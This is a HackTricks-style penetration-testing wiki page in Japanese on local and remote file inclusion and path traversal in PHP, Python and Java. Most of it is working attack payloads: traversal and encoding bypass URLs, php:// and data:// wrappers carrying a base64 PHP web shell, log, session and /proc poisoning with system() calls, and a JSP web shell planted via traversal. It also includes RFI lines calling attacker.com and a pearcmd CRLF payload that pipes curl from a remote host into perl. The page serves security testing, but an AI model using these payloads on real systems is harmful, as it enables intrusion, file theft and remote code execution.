File Inclusion/Path traversal

Reading time: 42 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

File Inclusion

Remote File Inclusion (RFI): ファイルはリモートサーバから読み込まれます(利点: あなたがコードを書き、サーバがそれを実行します)。phpではこれはデフォルトで無効です(allow_url_include)。
Local File Inclusion (LFI): サーバはローカルファイルを読み込みます。

この脆弱性は、ユーザが何らかの形でサーバによって読み込まれるファイルを制御できる場合に発生します。

影響を受ける PHP関数: require, require_once, include, include_once

この脆弱性を悪用する興味深いツール: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

いくつかの *nix LFI リストを組み合わせ、さらにパスを追加してこれを作成しました:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

また /\ に変更して試してください
また ../../../../../ を追加してみてください

脆弱性が存在するかを確認するために /etc/password ファイルを見つけるための複数の手法を使用するリストは here にあります

Windows

異なるワードリストのマージ:

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt

また /\ に変更して試してください
また C:/ を削除して ../../../../../ を追加してみてください

脆弱性が存在するかを確認するために /boot.ini ファイルを見つけるための複数の手法を使用するリストは here にあります

OS X

linux の LFI リストを確認してください。

基本的な LFI と bypasses

全ての例は Local File Inclusion のためのもので、Remote File Inclusion にも適用可能です (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal シーケンスが非再帰的に削除される

python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass 提供された文字列の末尾にさらに文字を追加する処理を回避する(bypass of: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

これは PHP 5.4 以降で解決されています

エンコーディング

非標準のエンコーディング(double URL encode やその他)を使用できます:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

既存フォルダから

おそらく back-end がフォルダパスをチェックしている:

python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

サーバのファイルシステム内のディレクトリを探索する

特定の手法を用いることで、サーバのファイルシステムを再帰的に探索し、ファイルだけでなくディレクトリを特定できます。このプロセスでは、ディレクトリの深さを特定し、特定のフォルダの存在を確認することが含まれます。以下にその詳細な方法を示します:

  1. ディレクトリの深さを判定する: 現在のディレクトリの深さは、/etc/passwd を正常に取得できるかどうかで見積もります(サーバが Linux の場合に該当)。例えば、深さが 3 であることを示す URL 構造の例は次のようになります:
bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. フォルダを探索する: 疑わしいフォルダ名(例:private)をURLに追加し、続けて/etc/passwdにアクセスします。追加のディレクトリレベルがあるため、depthを1つ増やす必要があります:
bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. 結果の解釈: サーバーの応答からフォルダが存在するかどうかを判別します:
  • エラー / 出力なし: 指定した場所に private フォルダが存在しない可能性が高いです。
  • /etc/passwd の内容: private フォルダの存在が確認されます。
  1. 再帰的探索: 発見したフォルダは、同じ手法や従来の Local File Inclusion (LFI) 手法を用いて、サブディレクトリやファイルをさらに調査できます。

ファイルシステム内の別の場所にあるディレクトリを調査するには、payload を適宜調整してください。例えば、現在のディレクトリが深さ3にあると仮定して、/var/www/private ディレクトリが含まれているかを確認するには、次のようにします:

bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation は、web applications 内の file paths を操作するための手法です。これは、file paths の末尾に追加文字を付加するようなセキュリティ対策をバイパスして、アクセス制限されたファイルに到達するためによく使われます。目的は、セキュリティ対策によって変更された後でも目的のファイルを指し続ける file path を作成することです。

In PHP では、ファイルシステムの性質上、file path のさまざまな表現が同等と見なされることがあります。例えば:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ are all treated as the same path.
  • When the last 6 characters are passwd, appending a / (making it passwd/) doesn't change the targeted file.
  • Similarly, if .php is appended to a file path (like shellcode.php), adding a /. at the end will not alter the file being accessed.

The provided examples demonstrate how to utilize path truncation to access /etc/passwd, a common target due to its sensitive content (user account information):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

これらのシナリオでは、必要な traversals の数は約2027になることがありますが、この数はサーバの構成によって変わる可能性があります。

  • Using Dot Segments and Additional Characters: Traversal sequences (../) と追加のドットセグメントや文字を組み合わせることで、ファイルシステムを移動でき、サーバが付加した文字列を事実上無視できます。
  • Determining the Required Number of Traversals: 試行錯誤により、root ディレクトリへ、さらに /etc/passwd に到達するために必要な正確な ../ シーケンスの数を見つけることができ、.php のような付加文字列を無効化しつつ、目的のパス (/etc/passwd) を保持できます。
  • Starting with a Fake Directory: パスを存在しないディレクトリ(例えば a/)で開始するのは一般的な手法です。このテクニックは予防措置として、またはサーバのパス解析ロジックの要件を満たすために使用されます。

When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.

この脆弱性は PHP 5.3 で修正されました。

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

phpではデフォルトで無効になっています。理由は allow_url_includeOff. だからです。動作させるには On にする必要があり、その場合は自分のサーバーから PHP ファイルをインクルードして RCE を得ることができます:

python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

もし何らかの理由で allow_url_includeOn になっているが、PHP が外部ウェブページへのアクセスを フィルタリング している場合、この投稿 によれば、例えば data protocol と base64 を使って b64 PHP コードをデコードし、egt RCE を得ることができます:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

tip

前のコードでは、最後の +.txt は攻撃者が .txt で終わる文字列を必要としたため追加されました。つまり文字列はそれで終わり、b64 decode の後、その部分は単なるゴミを返し、実際の PHP コードがインクルード(したがって、実行)されます。

Another example not using the php:// protocol would be:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python ルート要素

次のような python のコードでは:

python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

ユーザーが 絶対パスfile_name に渡した場合、前のパスは単に削除されます:

python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

これは the docs による意図された挙動です:

コンポーネントが絶対パスである場合、以前のすべてのコンポーネントは破棄され、結合はその絶対パスのコンポーネントから続行されます。

Java ディレクトリ一覧

JavaでPath Traversalがある場合、ファイルではなくディレクトリを要求するとディレクトリの一覧が返されるようです。これは他の言語では起こらない(私の知る限り)ようです。

上位25のパラメータ

local file inclusion (LFI) の脆弱性を含む可能性がある上位25のパラメータのリストは以下の通りです(出典: link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

PHP wrappers & protocols を使った LFI / RFI

php://filter

PHP filters は、データが読み取られたり書き込まれたりする前に基本的な 変更操作 を行うことを可能にします。フィルタには5つのカテゴリがあります:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: データからタグを除去します("<" と ">" の間にあるすべて)
  • Note that this filter has disappear from the modern versions of PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : 別のエンコーディングに変換します(convert.iconv.<input_enc>.<output_enc>)。サポートされている 全てのエンコーディングのリスト を確認するにはコンソールで次を実行してください:iconv -l

warning

convert.iconv.* conversion filter を悪用すると任意のテキストを 生成する ことができ、任意のテキストを書き込んだり、include のような関数に任意のテキストを処理させる際に有用です。詳しくは LFI2RCE via php filters を参照してください。

  • Compression Filters
  • zlib.deflate: コンテンツを圧縮します (useful if exfiltrating a lot of info)
  • zlib.inflate: データを展開します
  • Encryption Filters
  • mcrypt.* : 非推奨
  • mdecrypt.* : 非推奨
  • Other Filters
  • PHPで var_dump(stream_get_filters()); を実行すると、いくつかの 予期しないフィルタ が見つかります:
  • consumed
  • dechunk: HTTP の chunked encoding を元に戻します
  • convert.*
php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

warning

部分 "php://filter" は大文字小文字を区別しません

php filters を oracle として使用して任意のファイルを読み取る

In this post では、サーバーから出力が返されない状態でもローカルファイルを読み取る手法が提案されています。この手法は php filters を oracle として用いたファイルのブール的エクスフィルトレーション(文字ごと) に基づいています。これは php filters を使ってテキストを十分に大きくし、php に例外を発生させることができるためです。

オリジナルの投稿には手法の詳細な説明がありますが、ここでは簡潔にまとめます:

  • コーデック UCS-4LE を使ってテキストの先頭文字を残し、文字列のサイズを指数的に増やします。
  • これにより、最初の文字が正しく推測されたときに php が エラー を発生させるほど大きなテキストを生成できます。
  • dechunk フィルタは 先頭文字が16進数でない場合、すべてを削除する ため、先頭文字が16進数かどうかを判別できます。
  • これと前述のフィルタ(および推測した文字に依存する他のフィルタ)を組み合わせることで、十分な変換を行ったときに先頭文字が16進数でなくなるかを確認して、テキストの先頭の文字を推測できます。なぜなら、16進数であれば dechunk は削除せず、初期の“爆弾”により php がエラーを起こすからです。
  • コーデック convert.iconv.UNICODE.CP930 は各文字を次の文字に変換します(例えば a -> b)。これにより先頭文字が例えば a であるかを判別できます。というのも、このコーデックを6回適用すると a->b->c->d->e->f->g となり、その文字はもはや16進数の文字ではなくなり、dechunk はそれを削除せず、初期“爆弾”と掛け合わさって php のエラーが発生するためです。
  • rot13 のような他の変換を先頭で使うことで、n, o, p, q, r のような他の文字を leak することが可能です(他のコーデックを使って他の文字を16進数範囲に移動させることもできます)。
  • 先頭文字が数字の場合、base64 エンコードして最初の2文字を leak することで数字を判別する必要があります。
  • 最終的な課題は、最初の文字以上を leak する方法 を考えることです。convert.iconv.UTF16.UTF-16BE、convert.iconv.UCS-4.UCS-4LE、convert.iconv.UCS-4.UCS-4LE のような order memory フィルタを使うことで、文字の順序を変更してテキストの他の文字を先頭に持ってくることが可能です。
  • さらに 追加データ を取得できるようにするためのアイデアは、先頭に 2バイトのジャンクデータを生成するconvert.iconv.UTF16.UTF16 で作成し、UCS-4LE を適用して 次の2バイトとピボットさせる(pivot with the next 2 bytes) 、そして ジャンクデータまでデータを削除する(これにより元テキストの先頭2バイトが削除されます)。これを目的の leak ビットに到達するまで続けます。

投稿ではこれを自動化するツールも公開されています: php_filters_chain_oracle_exploit.

php://fd

このラッパーはプロセスが開いているファイル記述子にアクセスすることを可能にします。開かれているファイルの内容を抜き出す(exfiltrate)のに潜在的に有用です:

php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

また、php://stdin, php://stdout and php://stderr を使って、それぞれファイル記述子 0, 1, 2 にアクセスできます(攻撃でどのように役立つかは不明です)

zip:// と rar://

内部にPHPShellを含むZipまたはRarファイルをアップロードしてアクセスできます。
rar protocolを悪用できるようにするには、明示的に有効化する必要がある

bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

このプロトコルは php の設定 allow_url_open および allow_url_include によって制限されることに注意してください。

expect://

Expect を有効にする必要があります。これを使ってコードを実行できます:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

payload を POST parameters に指定してください:

bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

.phar ファイルは、Webアプリケーションが include のようなファイル読み込み関数を利用している場合に、PHPコードを実行するために利用できます。以下のPHPコードスニペットは、.phar ファイルの作成を示しています:

php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

.phar ファイルをコンパイルするには、次のコマンドを実行してください:

bash
php --define phar.readonly=0 create_path.php

実行すると、test.phar という名前のファイルが作成され、Local File Inclusion (LFI) 脆弱性を悪用するために利用される可能性があります。

LFI が内部の PHP コードを実行せず、file_get_contents()fopen()file()file_exists()md5_file()filemtime()filesize() などの関数を通じてファイルの読み取りのみを行う場合、phar プロトコルを用いたファイル読み取りに起因する deserialization 脆弱性の悪用を試みることができます。

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

It was possible to abuse any arbitrary file read from PHP that supports php filters to get a RCE. The detailed description can be found in this post.
非常に簡潔にまとめると: PHP ヒープの 3 byte overflow が悪用され、特定サイズの free チャンクのチェーンを alter the chain of free chunks して任意のアドレスに write anything in any address できるようにし、system を呼ぶフックが追加されました。
さらに多くの php filters を悪用して特定サイズのチャンクを alloc することが可能でした。

More protocols

Check more possible protocols to include here:

  • php://memory and php://temp — メモリまたは一時ファイルに書き込む(file inclusion attack でどのように有用かは不明)
  • file:// — ローカルファイルシステムへのアクセス
  • http:// — HTTP(s) URL へのアクセス
  • ftp:// — FTP(s) URL へのアクセス
  • zlib:// — 圧縮ストリーム
  • glob:// — パターンに一致するパス名を検索する(出力は可読形式ではないため、本用途ではあまり有用ではない)
  • ssh2:// — Secure Shell 2
  • ogg:// — オーディオストリーム(任意ファイルの読み取りには向かない)

LFI via PHP's 'assert'

PHP における Local File Inclusion (LFI) のリスクは、文字列内のコードを実行できる 'assert' 関数を扱う場合に特に高くなります。特に、".." のようなディレクトリトラバーサル文字を含む入力がチェックされても適切にサニタイズされていない場合に問題となります。

For example, PHP code might be designed to prevent directory traversal like so:

bash
assert("strpos('$file', '..') === false") or die("");

これは traversal を防ぐことを目的としているが、意図せずに code injection のベクターを生み出してしまう。ファイルの内容を読み取るためにこれを悪用するには、攻撃者は次のようなものを使うことができる:

plaintext
' and die(highlight_file('/etc/passwd')) or '

同様に、任意のシステムコマンドを実行するには、次のようなものが使われることがあります:

plaintext
' and die(system("id")) or '

重要なのは、URL-encode these payloads

PHP Blind Path Traversal

warning

このテクニックは、PHP関数がファイルにアクセスする際のファイルパス制御できるが、ファイルの内容が表示されない(例えば単純な呼び出しの**file()**のようなケース)場合に関連します。

In this incredible post it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.

要約すると、この手法はファイルの内容を非常に大きくするために**"UCS-4LE" encodingを使い、ファイルを開くPHP functionerror**を引き起こすようにします。

その後、最初の文字をleakするためにフィルタ dechunk を、base64rot13 などと組み合わせて使用し、最後にフィルタ convert.iconv.UCS-4.UCS-4LE および convert.iconv.UTF16.UTF-16BE を使って他の文字を先頭に配置し、それらをleakします。

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

技術的な詳細は上記の投稿を参照してください!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

サーバー側のコードが、取り込んだ/アップロードされたファイルの送信先パスをユーザ制御のデータ(例: ファイル名や URL)で構築し、正規化や検証を行わない場合、.. セグメントや絶対パスによって意図したディレクトリから抜け出し、任意のファイル書き込みを引き起こす可能性があります。もしpayloadをweb公開ディレクトリに配置できれば、通常はwebshellを置くことで認証不要のRCEが得られます。

Typical exploitation workflow:

  • パス/ファイル名を受け取りディスクに書き込むプリミティブ(例: メッセージ駆動のingestion、XML/JSONコマンドハンドラ、ZIP extractor 等)をエンドポイントやバックグラウンドワーカーで特定する。
  • web公開ディレクトリを特定する。一般的な例:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • 意図したストレージディレクトリから webroot に抜けるトラバーサルパスを作成し、webshell の内容を含める。
  • 配置したpayloadにアクセスしてコマンドを実行する。

Notes:

  • 書き込みを行う脆弱なサービスは非HTTPポートで待ち受けている場合があります(例: TCP 4004 上の JMF XML listener)。メインのwebポータル(別ポート)が後からあなたのpayloadを配信します。
  • Javaスタックでは、これらのファイル書き込みは単純な File/Paths の連結で実装されていることが多いです。正規化(canonicalisation)や allow-listing の欠如が根本的な欠陥です。

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

この種のバグを防ぐハードニング:

  • 正規化されたパスに解決し、それが許可リストにあるベースディレクトリの子孫であることを強制する。
  • ..、絶対ルート、またはドライブ文字を含むパスは拒否する。生成されたファイル名を優先する。
  • 書き込み処理を低権限アカウントで実行し、書き込み用ディレクトリを配信ルートから分離する。

Remote File Inclusion

前述の通り、follow this link

Apache/Nginx ログファイル経由

If the Apache or Nginx server is vulnerable to LFI inside the include function you could try to access to /var/log/apache2/access.log or /var/log/nginx/access.log, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?> and include that file

warning

注意: シェルを ダブルクォート で囲むと シングルクォート の代わりに、ダブルクォートが文字列 "quote;" に変更され、PHP はそこでエラーを投げそれ以降何も実行されません

また、write correctly the payload を必ず行ってください。さもないと、PHP はログファイルを読み込むたびにエラーとなり、二度目のチャンスはありません。

他のログでも同様のことは可能ですが、be careful, ログ内のコードが URL エンコードされている場合があり、これにより Shell が無効化されることがあります。ヘッダ authorisation "basic" は "user:password" を Base64 で含み、ログ内でデコードされます。The PHPShell could be inserted inside this header.
他の可能なログパス:

python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

メール経由

Send a mail を内部アカウント (user@localhost) に送り、PHP payload(例: <?php echo system($_REQUEST["cmd"]); ?>)を含め、ユーザのメールを /var/mail/<USERNAME>/var/spool/mail/<USERNAME> のようなパスで include してみる。

/proc/*/fd/* 経由

  1. 多数の shells をアップロードする(例: 100)
  2. http://example.com/index.php?page=/proc/$PID/fd/$FD を include する。ここで $PID はプロセスの PID(ブルートフォース可能)、$FD はファイルディスクリプタ(こちらもブルートフォース可能)

/proc/self/environ 経由

ログファイルと同様に、User-Agent にペイロードを送ると /proc/self/environ ファイル内に反映される。

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

ファイルをuploadできる場合は、単にその中にshell payloadを注入してください(例:<?php system($_GET['c']); ?>)。

http://example.com/index.php?page=path/to/uploaded/file.png

ファイルを読みやすく保つために、画像/ドキュメント/PDF のメタデータに注入するのが最適です

ZIPファイルのアップロード経由

PHP shell を含む圧縮された ZIP ファイルをアップロードしてアクセス:

python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

PHP sessions 経由

ウェブサイトが PHP Session (PHPSESSID) を使用しているか確認する

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHPでは、これらのセッションは_/var/lib/php5/sess\_[PHPSESSID]_ファイルに保存されます。

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

cookie を <?php system('cat /etc/passwd');?> に設定してください

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

LFIを使ってPHPのセッションファイルを読み込む

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

経由 ssh

ssh が有効なら、どのユーザーで動作しているかを確認してください(/proc/self/status & /etc/passwd)し、<HOME>/.ssh/id_rsa にアクセスしてみてください。

経由 vsftpd ログ

FTP サーバ vsftpd のログは /var/log/vsftpd.log にあります。Local File Inclusion (LFI) 脆弱性が存在し、公開されている vsftpd サーバにアクセスできる場合、次の手順を検討できます:

  1. ログイン処理中に username フィールドへ PHP payload を注入する。
  2. 注入後、LFI を利用して /var/log/vsftpd.log からサーバログを取得する。

経由 php base64 filter (using base64)

この記事の例(this)に示されているように、PHP の base64 filter は非 base64 文字を無視します。これを利用してファイル拡張子のチェックをバイパスできます:末尾が ".php" で終わる base64 を渡すと、"." を無視して "php" を base64 に付け足します。以下は例の payload です:

url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

php filters を利用(ファイル不要)

This writeup では、php filters を使って任意のコンテンツを出力として生成できる と説明しています。つまり、include に対して ファイルに書き込む必要なく任意の php コードを生成できる ということです。

LFI2RCE via PHP Filters

セグメンテーションフォルトを利用

Upload したファイルは /tmptemporary として保存されます。次に同じリクエスト内で segmentation fault を発生させると、temporary file won't be deleted ため、そのファイルを探すことができます。

LFI2RCE via Segmentation Fault

Nginx の一時ファイルストレージを利用

もし Local File Inclusion を見つけ、かつ Nginx が PHP の前段にある場合、以下の手法で RCE を得られる可能性があります:

LFI2RCE via Nginx temp files

PHP_SESSION_UPLOAD_PROGRESS を利用

もし Local File Inclusion を見つけていて、たとえ don't have a sessionsession.auto_startOff でも、multipart POST データに PHP_SESSION_UPLOAD_PROGRESS を含めると、PHP が セッションを有効にしてくれます。これを悪用して RCE を得ることができます:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Windows の一時ファイルアップロードを利用

もし Local File Inclusion を見つけ、サーバが Windows 上で動作している場合、RCE を得られる可能性があります:

LFI2RCE Via temp file uploads

pearcmd.php + URL 引数を利用

As explained in this post、スクリプト /usr/local/lib/phppearcmd.php は php docker イメージにデフォルトで存在します。さらに、URL 経由でスクリプトに引数を渡せます。URL パラメータに = が含まれない場合は引数として扱われるためです。詳細は watchTowr’s write-upOrange Tsai’s “Confusion Attacks” も参照してください。

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

以下は CRLF vuln を悪用して RCE を得る例です(出典: here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

phpinfo() 経由 (file_uploads = on)

もし Local File Inclusion を発見し、file_uploads = on で phpinfo() を公開しているファイルがあれば、RCE を取得できます:

LFI2RCE via phpinfo()

compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure 経由

もし Local File Inclusion を発見し、一時ファイルのパスを can exfiltrate the path できるが、serverchecking して含めるファイルに PHP marks があるか確認している場合は、この Race Condition を使ってそのチェックを bypass that check できるか試してみてください:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

eternal waiting + bruteforce 経由

もし LFI を悪用して upload temporary files し、サーバーによって PHP 実行を hang させられるなら、何時間もかけてファイル名を brute force filenames during hours して一時ファイルを見つけられる可能性があります:

LFI2RCE via Eternal waiting

To Fatal Error

If you include any of the files /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (You need to include the same one 2 time to throw that error).

正直どのように役立つかはわかりませんが、役に立つかもしれません。
たとえ PHP Fatal Error を引き起こしても、アップロードされた PHP の一時ファイルは削除されます。

参考

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする